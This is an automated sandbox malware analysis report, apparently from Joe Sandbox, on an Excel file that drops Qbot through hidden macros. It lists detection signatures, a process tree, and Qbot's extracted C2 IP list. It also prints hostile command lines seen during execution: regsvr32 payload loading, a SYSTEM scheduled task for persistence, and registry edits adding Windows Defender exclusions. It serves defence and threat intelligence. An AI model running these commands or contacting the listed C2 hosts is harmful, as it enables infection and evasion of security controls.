Play interactive tour

Edit tour

Windows Analysis Report 173536952-10042021.xls

Overview

General Information

Sample Name:	173536952-10042021.xls
Analysis ID:	496489
MD5:	0bca9d9a4e10b794ac05375ebc19de86
SHA1:	43983f7c8b45057ec1d732586648f9ac515048f4
SHA256:	4cd16d4f199b5f619a377b3c260f8423a9e814cc680edad1505e4038fc38ddcc
Tags:	Gozixls
Infos:
Most interesting Screenshot:

Detection

Hidden Macro 4.0 Qbot

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Yara detected Qbot

Document exploit detected (drops PE files)

Sigma detected: Schedule system process

Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)

Maps a DLL or memory area into another process

Overwrites code with unconditional jumps - possibly settings hooks in foreign process

Office process drops PE file

Writes to foreign memory regions

Uses cmd line tools excessively to alter registry or file data

Sigma detected: Microsoft Office Product Spawning Windows Shell

Allocates memory in foreign processes

Injects code into the Windows Explorer (explorer.exe)

Sigma detected: Regsvr32 Command Line Without DLL

Drops PE files to the user root directory

Document exploit detected (process start blacklist hit)

Document exploit detected (UrlDownloadToFile)

Yara detected hidden Macro 4.0 in Excel

Uses schtasks.exe or at.exe to add and modify task schedules

Queries the volume information (name, serial number etc) of a device

May sleep (evasive loops) to hinder dynamic analysis

Uses code obfuscation techniques (call, push, ret)

Detected potential crypto function

Document contains an embedded VBA macro which executes code when the document is opened / closed

Sample execution stops while process was sleeping (likely an evasion)

Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)

Contains functionality to call native functions

Contains functionality to dynamically determine API calls

Found dropped PE file which has not been started or loaded

Downloads executable code via HTTP

Abnormal high CPU Usage

Drops files with a non-matching file extension (content does not match file extension)

PE file does not import any functions

Potential document exploit detected (unknown TCP traffic)

PE file contains an invalid checksum

Drops PE files

Contains functionality to read the PEB

Uses a known web browser user agent for HTTP communication

Uses reg.exe to modify the Windows registry

Document contains embedded VBA macros

Drops PE files to the user directory

PE file overlay found

Potential document exploit detected (performs HTTP gets)

Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)

Creates a process in suspended mode (likely to inject code)

Classification

Process Tree

System is w7x64

EXCEL.EXE (PID: 1912 cmdline: 'C:\Program Files\Microsoft Office\Office14\EXCEL.EXE' /automation -Embedding MD5: D53B85E21886D2AF9815C377537BCAC3)

regsvr32.exe (PID: 2828 cmdline: regsvr32 -silent ..\Celod.wac MD5: 59BCE9F07985F8A4204F4D6554CFF708)

regsvr32.exe (PID: 1232 cmdline: -silent ..\Celod.wac MD5: 432BE6CF7311062633459EEF6B242FB5)

explorer.exe (PID: 2528 cmdline: C:\Windows\SysWOW64\explorer.exe MD5: 6DDCA324434FFA506CF7DC4E51DB7935)

schtasks.exe (PID: 172 cmdline: 'C:\Windows\system32\schtasks.exe' /Create /RU 'NT AUTHORITY\SYSTEM' /tn vgcwztk /tr 'regsvr32.exe -s \'C:\Users\user\Celod.wac\'' /SC ONCE /Z /ST 17:02 /ET 17:14 MD5: 2003E9B15E1C502B146DAD2E383AC1E3)

regsvr32.exe (PID: 1164 cmdline: regsvr32 -silent ..\Celod.wac1 MD5: 59BCE9F07985F8A4204F4D6554CFF708)

regsvr32.exe (PID: 1836 cmdline: -silent ..\Celod.wac1 MD5: 432BE6CF7311062633459EEF6B242FB5)

explorer.exe (PID: 2532 cmdline: C:\Windows\SysWOW64\explorer.exe MD5: 6DDCA324434FFA506CF7DC4E51DB7935)

regsvr32.exe (PID: 840 cmdline: regsvr32 -silent ..\Celod.wac2 MD5: 59BCE9F07985F8A4204F4D6554CFF708)

regsvr32.exe (PID: 2280 cmdline: -silent ..\Celod.wac2 MD5: 432BE6CF7311062633459EEF6B242FB5)

explorer.exe (PID: 1368 cmdline: C:\Windows\SysWOW64\explorer.exe MD5: 6DDCA324434FFA506CF7DC4E51DB7935)

regsvr32.exe (PID: 1892 cmdline: regsvr32.exe -s 'C:\Users\user\Celod.wac' MD5: 59BCE9F07985F8A4204F4D6554CFF708)

regsvr32.exe (PID: 2840 cmdline: -s 'C:\Users\user\Celod.wac' MD5: 432BE6CF7311062633459EEF6B242FB5)

explorer.exe (PID: 1964 cmdline: C:\Windows\SysWOW64\explorer.exe MD5: 6DDCA324434FFA506CF7DC4E51DB7935)

reg.exe (PID: 284 cmdline: C:\Windows\system32\reg.exe ADD 'HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths' /f /t REG_DWORD /v 'C:\ProgramData\Microsoft\Ttcmmieugikj' /d '0' MD5: 9D0B3066FE3D1FD345E86BC7BCCED9E4)

reg.exe (PID: 3020 cmdline: C:\Windows\system32\reg.exe ADD 'HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths' /f /t REG_DWORD /v 'C:\Users\user\AppData\Roaming\Microsoft\Incef' /d '0' MD5: 9D0B3066FE3D1FD345E86BC7BCCED9E4)

regsvr32.exe (PID: 2600 cmdline: regsvr32.exe -s 'C:\Users\user\Celod.wac' MD5: 59BCE9F07985F8A4204F4D6554CFF708)

regsvr32.exe (PID: 1068 cmdline: -s 'C:\Users\user\Celod.wac' MD5: 432BE6CF7311062633459EEF6B242FB5)

cleanup

Malware Configuration

Threatname: Qbot

{"Bot id": "obama108", "Campaign": "1633342139", "Version": "402.363", "C2 list": ["206.47.134.234:2222", "73.230.205.91:443", "190.198.206.189:2222", "103.246.130.2:20", "103.246.130.122:20", "81.250.153.227:2222", "167.248.100.227:443", "37.210.152.224:995", "96.57.188.174:2078", "2.99.100.134:2222", "217.17.56.163:2222", "217.17.56.163:2078", "41.228.22.180:443", "136.232.34.70:443", "68.186.192.69:443", "167.248.111.245:443", "81.241.252.59:2078", "94.200.181.154:443", "96.46.103.226:443", "187.116.124.82:995", "73.130.180.25:443", "73.52.50.32:443", "120.151.47.189:443", "47.22.148.6:443", "124.123.42.115:2222", "208.89.170.179:443", "86.8.177.143:443", "73.77.87.137:443", "73.25.124.140:2222", "181.118.183.94:443", "109.12.111.14:443", "89.101.97.139:443", "216.201.162.158:443", "105.198.236.99:443", "188.210.210.122:0", "174.54.58.170:443", "24.152.219.253:995", "103.142.10.177:443", "75.75.179.226:443", "185.250.148.74:443", "122.11.220.212:2222", "120.150.218.241:995", "103.148.120.144:443", "140.82.49.12:443", "40.131.140.155:995", "103.157.122.198:995", "76.25.142.196:443", "45.46.53.140:2222", "173.21.10.71:2222", "75.89.195.186:995", "67.165.206.193:993", "71.74.12.34:443", "24.119.214.7:443", "75.66.88.33:443", "73.151.236.31:443", "159.2.51.200:2222", "78.191.36.142:995", "75.188.35.168:443", "95.77.223.148:443", "110.174.64.179:995", "47.40.196.233:2222", "201.93.111.2:995", "187.56.71.109:995", "187.101.25.96:32100", "174.54.193.186:443", "76.84.230.103:443", "174.59.35.191:443", "173.63.245.129:443", "24.139.72.117:443", "72.252.201.69:443", "68.117.229.117:443", "167.248.117.81:443", "75.163.81.130:995", "76.84.32.159:443", "147.92.51.49:443", "167.248.99.149:443", "68.204.7.158:443", "76.84.226.17:443", "68.13.157.69:443", "167.248.126.223:443", "69.30.186.190:443", "72.196.22.184:443", "167.248.23.224:443", "98.22.92.139:995", "209.50.20.255:443", "97.98.130.50:443", "196.117.37.214:995", "77.57.204.78:443", "191.191.38.8:443", "176.251.215.116:443", "96.46.103.109:2222", "188.210.210.122:443", "37.117.191.19:2222", "90.197.155.33:443", "197.90.137.161:61201", "70.37.217.196:443", "24.32.174.175:443", "76.84.225.21:443", "188.210.210.122:443", "78.145.153.73:995", "69.30.190.105:995", "167.248.81.60:443", "69.80.113.148:443", "217.17.56.163:443", "39.52.236.68:995", "71.190.231.182:443", "62.23.194.38:443", "62.23.194.41:995", "173.25.166.81:443", "199.27.127.129:443", "24.229.150.54:995", "189.210.115.207:443", "174.59.226.6:443", "73.130.237.36:443", "69.253.197.100:443", "174.59.242.9:443", "177.130.82.197:2222", "67.214.30.12:995", "24.55.112.61:443", "174.59.120.69:443", "47.181.84.61:443", "73.130.239.166:443", "217.165.163.21:995", "93.8.66.216:443", "73.52.114.202:443", "186.18.205.199:995", "38.10.202.214:443", "78.191.44.76:443", "96.83.180.29:443", "124.123.42.115:2078", "105.159.144.186:995", "27.223.92.142:995", "109.190.253.11:2222", "217.17.56.163:465", "38.10.201.211:443", "92.148.59.207:2222", "92.157.171.41:2222", "217.17.56.163:443", "217.17.56.163:443", "186.87.135.68:995", "80.6.192.58:443", "47.40.196.233:2222", "187.156.138.172:443", "82.77.137.101:995", "173.234.155.233:443", "5.238.148.193:61202", "182.176.112.182:443", "96.37.113.36:993", "162.244.227.34:443", "92.59.35.196:2222"]}

Yara Overview

Initial Sample

Source	Rule	Description	Author	Strings
173536952-10042021.xls	JoeSecurity_HiddenMacro	Yara detected hidden Macro 4.0 in Excel	Joe Security

Memory Dumps

Source	Rule	Description	Author
0000000C.00000003.595370206.0000000000430000.00000040.00000001.sdmp	JoeSecurity_Qbot_1	Yara detected Qbot	Joe Security
00000006.00000003.571303850.0000000002080000.00000040.00000001.sdmp	JoeSecurity_Qbot_1	Yara detected Qbot	Joe Security
0000000F.00000003.649324622.0000000000220000.00000040.00000001.sdmp	JoeSecurity_Qbot_1	Yara detected Qbot	Joe Security
00000010.00000002.587491598.0000000000080000.00000040.00020000.sdmp	JoeSecurity_Qbot_1	Yara detected Qbot	Joe Security
00000017.00000002.655330254.0000000000080000.00000040.00020000.sdmp	JoeSecurity_Qbot_1	Yara detected Qbot	Joe Security
00000004.00000003.503572061.00000000002B0000.00000040.00000001.sdmp	JoeSecurity_Qbot_1	Yara detected Qbot	Joe Security
00000011.00000002.896964841.0000000000080000.00000040.00020000.sdmp	JoeSecurity_Qbot_1	Yara detected Qbot	Joe Security
00000008.00000002.896965295.0000000000080000.00000040.00020000.sdmp	JoeSecurity_Qbot_1	Yara detected Qbot	Joe Security
Click to see the 3 entries

Unpacked PEs

Source	Rule	Description	Author
12.2.regsvr32.exe.6ce60000.6.unpack	JoeSecurity_Qbot_1	Yara detected Qbot	Joe Security
4.2.regsvr32.exe.6d7f0000.6.unpack	JoeSecurity_Qbot_1	Yara detected Qbot	Joe Security
17.2.explorer.exe.80000.0.raw.unpack	JoeSecurity_Qbot_1	Yara detected Qbot	Joe Security
8.2.explorer.exe.80000.0.unpack	JoeSecurity_Qbot_1	Yara detected Qbot	Joe Security
23.2.explorer.exe.80000.0.raw.unpack	JoeSecurity_Qbot_1	Yara detected Qbot	Joe Security
15.3.regsvr32.exe.23339a.0.raw.unpack	JoeSecurity_Qbot_1	Yara detected Qbot	Joe Security
15.2.regsvr32.exe.6bb40000.6.unpack	JoeSecurity_Qbot_1	Yara detected Qbot	Joe Security
16.2.explorer.exe.80000.0.unpack	JoeSecurity_Qbot_1	Yara detected Qbot	Joe Security
4.3.regsvr32.exe.2c339a.0.raw.unpack	JoeSecurity_Qbot_1	Yara detected Qbot	Joe Security
6.3.regsvr32.exe.209339a.0.raw.unpack	JoeSecurity_Qbot_1	Yara detected Qbot	Joe Security
12.3.regsvr32.exe.44339a.0.raw.unpack	JoeSecurity_Qbot_1	Yara detected Qbot	Joe Security
Click to see the 6 entries

Sigma Overview

System Summary:

Sigma detected: Microsoft Office Product Spawning Windows Shell

Show sources

Source: Process started

Author: Michael Haag, Florian Roth, Markus Neis, Elastic, FPT.EagleEye Team: Data: Command: regsvr32 -silent ..\Celod.wac, CommandLine: regsvr32 -silent ..\Celod.wac, CommandLine|base64offset|contains: ,, Image: C:\Windows\System32\regsvr32.exe, NewProcessName: C:\Windows\System32\regsvr32.exe, OriginalFileName: C:\Windows\System32\regsvr32.exe, ParentCommandLine: 'C:\Program Files\Microsoft Office\Office14\EXCEL.EXE' /automation -Embedding, ParentImage: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE, ParentProcessId: 1912, ProcessCommandLine: regsvr32 -silent ..\Celod.wac, ProcessId: 2828

Sigma detected: Regsvr32 Command Line Without DLL

Show sources

Source: Process started

Author: Florian Roth: Data: Command: -silent ..\Celod.wac, CommandLine: -silent ..\Celod.wac, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\regsvr32.exe, NewProcessName: C:\Windows\SysWOW64\regsvr32.exe, OriginalFileName: C:\Windows\SysWOW64\regsvr32.exe, ParentCommandLine: regsvr32 -silent ..\Celod.wac, ParentImage: C:\Windows\System32\regsvr32.exe, ParentProcessId: 2828, ProcessCommandLine: -silent ..\Celod.wac, ProcessId: 1232

Persistence and Installation Behavior:

Sigma detected: Schedule system process

Show sources

Source: Process started

Author: Joe Security: Data: Command: 'C:\Windows\system32\schtasks.exe' /Create /RU 'NT AUTHORITY\SYSTEM' /tn vgcwztk /tr 'regsvr32.exe -s \'C:\Users\user\Celod.wac\'' /SC ONCE /Z /ST 17:02 /ET 17:14, CommandLine: 'C:\Windows\system32\schtasks.exe' /Create /RU 'NT AUTHORITY\SYSTEM' /tn vgcwztk /tr 'regsvr32.exe -s \'C:\Users\user\Celod.wac\'' /SC ONCE /Z /ST 17:02 /ET 17:14, CommandLine|base64offset|contains: *j, Image: C:\Windows\SysWOW64\schtasks.exe, NewProcessName: C:\Windows\SysWOW64\schtasks.exe, OriginalFileName: C:\Windows\SysWOW64\schtasks.exe, ParentCommandLine: C:\Windows\SysWOW64\explorer.exe, ParentImage: C:\Windows\SysWOW64\explorer.exe, ParentProcessId: 2528, ProcessCommandLine: 'C:\Windows\system32\schtasks.exe' /Create /RU 'NT AUTHORITY\SYSTEM' /tn vgcwztk /tr 'regsvr32.exe -s \'C:\Users\user\Celod.wac\'' /SC ONCE /Z /ST 17:02 /ET 17:14, ProcessId: 172

Jbx Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

Found malware configuration

Show sources

Source: 4.2.regsvr32.exe.6d7f0000.6.unpack

Malware Configuration Extractor: Qbot {"Bot id": "obama108", "Campaign": "1633342139", "Version": "402.363", "C2 list": ["206.47.134.234:2222", "73.230.205.91:443", "190.198.206.189:2222", "103.246.130.2:20", "103.246.130.122:20", "81.250.153.227:2222", "167.248.100.227:443", "37.210.152.224:995", "96.57.188.174:2078", "2.99.100.134:2222", "217.17.56.163:2222", "217.17.56.163:2078", "41.228.22.180:443", "136.232.34.70:443", "68.186.192.69:443", "167.248.111.245:443", "81.241.252.59:2078", "94.200.181.154:443", "96.46.103.226:443", "187.116.124.82:995", "73.130.180.25:443", "73.52.50.32:443", "120.151.47.189:443", "47.22.148.6:443", "124.123.42.115:2222", "208.89.170.179:443", "86.8.177.143:443", "73.77.87.137:443", "73.25.124.140:2222", "181.118.183.94:443", "109.12.111.14:443", "89.101.97.139:443", "216.201.162.158:443", "105.198.236.99:443", "188.210.210.122:0", "174.54.58.170:443", "24.152.219.253:995", "103.142.10.177:443", "75.75.179.226:443", "185.250.148.74:443", "122.11.220.212:2222", "120.150.218.241:995", "103.148.120.144:443", "140.82.49.12:443", "40.131.140.155:995", "103.157.122.198:995", "76.25.142.196:443", "45.46.53.140:2222", "173.21.10.71:2222", "75.89.195.186:995", "67.165.206.193:993", "71.74.12.34:443", "24.119.214.7:443", "75.66.88.33:443", "73.151.236.31:443", "159.2.51.200:2222", "78.191.36.142:995", "75.188.35.168:443", "95.77.223.148:443", "110.174.64.179:995", "47.40.196.233:2222", "201.93.111.2:995", "187.56.71.109:995", "187.101.25.96:32100", "174.54.193.186:443", "76.84.230.103:443", "174.59.35.191:443", "173.63.245.129:443", "24.139.72.117:443", "72.252.201.69:443", "68.117.229.117:443", "167.248.117.81:443", "75.163.81.130:995", "76.84.32.159:443", "147.92.51.49:443", "167.248.99.149:443", "68.204.7.158:443", "76.84.226.17:443", "68.13.157.69:443", "167.248.126.223:443", "69.30.186.190:443", "72.196.22.184:443", "167.248.23.224:443", "98.22.92.139:995", "209.50.20.255:443", "97.98.130.50:443", "196.117.37.214:995", "77.57.204.78:443", "191.191.38.8:443", "176.251.215.116:443", "96.46.103.109:2222", "188.210.210.122:443", "37.117.191.19:2222", "90.197.155.33:443", "197.90.137.161:61201", "70.37.217.196:443", "24.32.174.175:443", "76.84.225.21:443", "188.210.210.122:443", "78.145.153.73:995", "69.30.190.105:995", "167.248.81.60:443", "69.80.113.148:443", "217.17.56.163:443", "39.52.236.68:995", "71.190.231.182:443", "62.23.194.38:443", "62.23.194.41:995", "173.25.166.81:443", "199.27.127.129:443", "24.229.150.54:995", "189.210.115.207:443", "174.59.226.6:443", "73.130.237.36:443", "69.253.197.100:443", "174.59.242.9:443", "177.130.82.197:2222", "67.214.30.12:995", "24.55.112.61:443", "174.59.120.69:443", "47.181.84.61:443", "73.130.239.166:443", "217.165.163.21:995", "93.8.66.216:443", "73.52.114.202:443", "186.18.205.199:995", "38.10.202.214:443", "78.191.44.76:443", "96.83.180.29:443", "124.123.42.115:2078", "105.159.144.186:995", "27.223.92.142:995", "109.190.253.11:2222", "217.17.56.163:465", "38.10.201.211:443", "92.148.59.207:2222", "92.157.17

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Jump to behavior

Source:	Binary string: amstream.pdb source: explorer.exe, 00000008.00000003.508479687.0000000002731000.00000004.00000001.sdmp
Source:	Binary string: c:\Course\student\take\camp \sudden.pdb source: regsvr32.exe, 00000004.00000002.508330083.000000006D83C000.00000002.00020000.sdmp, regsvr32.exe, 00000006.00000002.584267312.000000006C51C000.00000002.00020000.sdmp, explorer.exe, 00000008.00000003.508757774.0000000002731000.00000004.00000001.sdmp

Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 4_2_6D7FAEF6 FindFirstFileW,FindNextFileW,	4_2_6D7FAEF6
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 6_2_6C4DAEF6 FindFirstFileW,FindNextFileW,	6_2_6C4DAEF6
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 8_2_0008AEF6 FindFirstFileW,FindNextFileW,	8_2_0008AEF6
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 12_2_6CE6AEF6 FindFirstFileW,FindNextFileW,	12_2_6CE6AEF6
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 15_2_6BB4AEF6 FindFirstFileW,FindNextFileW,	15_2_6BB4AEF6
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 16_2_0008AEF6 FindFirstFileW,FindNextFileW,	16_2_0008AEF6

Software Vulnerabilities:

Document exploit detected (drops PE files)

Show sources

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: 44473.7079048611[1].dat.0.dr

Jump to dropped file

Document exploit detected (process start blacklist hit)

Show sources

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Process created: C:\Windows\System32\regsvr32.exe

Document exploit detected (UrlDownloadToFile)

Show sources

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Section loaded: \KnownDlls\api-ms-win-downlevel-shlwapi-l2-1-0.dll origin: URLDownloadToFileA

Jump to behavior

Source: global traffic

TCP traffic: 192.168.2.22:49165 -> 190.14.37.165:80

Source: global traffic

TCP traffic: 192.168.2.22:49165 -> 190.14.37.165:80

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Mon, 04 Oct 2021 15:00:18 GMTContent-Type: application/octet-streamContent-Length: 518144Connection: keep-aliveX-Powered-By: PHP/5.4.16Accept-Ranges: bytesExpires: 0Cache-Control: no-cache, no-store, must-revalidateContent-Disposition: attachment; filename="44473.7079048611.dat"Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 5e b0 b7 74 1a d1 d9 27 1a d1 d9 27 1a d1 d9 27 ae 4d 2d 27 18 d1 d9 27 13 a9 4d 27 07 d1 d9 27 48 b9 d8 26 18 d1 d9 27 84 71 1e 27 1b d1 d9 27 48 b9 dc 26 16 d1 d9 27 48 b9 da 26 1f d1 d9 27 48 b9 dc 26 04 d1 d9 27 ae 4d 36 27 1d d1 d9 27 1a d1 d8 27 ab d1 d9 27 48 b9 d9 26 1b d1 d9 27 48 b9 d3 26 5a d1 d9 27 48 b9 26 27 1b d1 d9 27 48 b9 db 26 1b d1 d9 27 52 69 63 68 1a d1 d9 27 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 ed f1 87 5d 00 00 00 00 00 00 00 00 e0 00 02 21 0b 01 0e 0f 00 ac 04 00 00 d0 93 00 00 00 00 00 eb 64 00 00 00 10 00 00 00 c0 04 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 a0 98 00 00 04 00 00 d7 33 08 00 02 00 40 01 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 30 c2 07 00 b0 00 00 00 e0 c2 07 00 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 98 00 20 1e 00 00 00 ae 07 00 54 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 ae 07 00 40 00 00 00 00 00 00 00 00 00 00 00 00 c0 04 00 5c 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 ae ab 04 00 00 10 00 00 00 ac 04 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d0 0a 03 00 00 c0 04 00 00 0c 03 00 00 b0 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 28 a3 90 00 00 d0 07 00 00 0c 00 00 00 bc 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 65 6c 6f 63 00 00 20 1e 00 00 00 80 98 00 00 20 00 00 00 c8 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Mon, 04 Oct 2021 15:00:21 GMTContent-Type: application/octet-streamContent-Length: 518144Connection: keep-aliveX-Powered-By: PHP/5.4.16Accept-Ranges: bytesExpires: 0Cache-Control: no-cache, no-store, must-revalidateContent-Disposition: attachment; filename="44473.7079048611.dat"Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 5e b0 b7 74 1a d1 d9 27 1a d1 d9 27 1a d1 d9 27 ae 4d 2d 27 18 d1 d9 27 13 a9 4d 27 07 d1 d9 27 48 b9 d8 26 18 d1 d9 27 84 71 1e 27 1b d1 d9 27 48 b9 dc 26 16 d1 d9 27 48 b9 da 26 1f d1 d9 27 48 b9 dc 26 04 d1 d9 27 ae 4d 36 27 1d d1 d9 27 1a d1 d8 27 ab d1 d9 27 48 b9 d9 26 1b d1 d9 27 48 b9 d3 26 5a d1 d9 27 48 b9 26 27 1b d1 d9 27 48 b9 db 26 1b d1 d9 27 52 69 63 68 1a d1 d9 27 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 ed f1 87 5d 00 00 00 00 00 00 00 00 e0 00 02 21 0b 01 0e 0f 00 ac 04 00 00 d0 93 00 00 00 00 00 eb 64 00 00 00 10 00 00 00 c0 04 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 a0 98 00 00 04 00 00 d7 33 08 00 02 00 40 01 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 30 c2 07 00 b0 00 00 00 e0 c2 07 00 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 98 00 20 1e 00 00 00 ae 07 00 54 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 ae 07 00 40 00 00 00 00 00 00 00 00 00 00 00 00 c0 04 00 5c 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 ae ab 04 00 00 10 00 00 00 ac 04 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d0 0a 03 00 00 c0 04 00 00 0c 03 00 00 b0 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 28 a3 90 00 00 d0 07 00 00 0c 00 00 00 bc 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 65 6c 6f 63 00 00 20 1e 00 00 00 80 98 00 00 20 00 00 00 c8 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Mon, 04 Oct 2021 15:00:22 GMTContent-Type: application/octet-streamContent-Length: 518144Connection: keep-aliveX-Powered-By: PHP/5.4.16Accept-Ranges: bytesExpires: 0Cache-Control: no-cache, no-store, must-revalidateContent-Disposition: attachment; filename="44473.7079048611.dat"Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 5e b0 b7 74 1a d1 d9 27 1a d1 d9 27 1a d1 d9 27 ae 4d 2d 27 18 d1 d9 27 13 a9 4d 27 07 d1 d9 27 48 b9 d8 26 18 d1 d9 27 84 71 1e 27 1b d1 d9 27 48 b9 dc 26 16 d1 d9 27 48 b9 da 26 1f d1 d9 27 48 b9 dc 26 04 d1 d9 27 ae 4d 36 27 1d d1 d9 27 1a d1 d8 27 ab d1 d9 27 48 b9 d9 26 1b d1 d9 27 48 b9 d3 26 5a d1 d9 27 48 b9 26 27 1b d1 d9 27 48 b9 db 26 1b d1 d9 27 52 69 63 68 1a d1 d9 27 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 ed f1 87 5d 00 00 00 00 00 00 00 00 e0 00 02 21 0b 01 0e 0f 00 ac 04 00 00 d0 93 00 00 00 00 00 eb 64 00 00 00 10 00 00 00 c0 04 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 a0 98 00 00 04 00 00 d7 33 08 00 02 00 40 01 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 30 c2 07 00 b0 00 00 00 e0 c2 07 00 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 98 00 20 1e 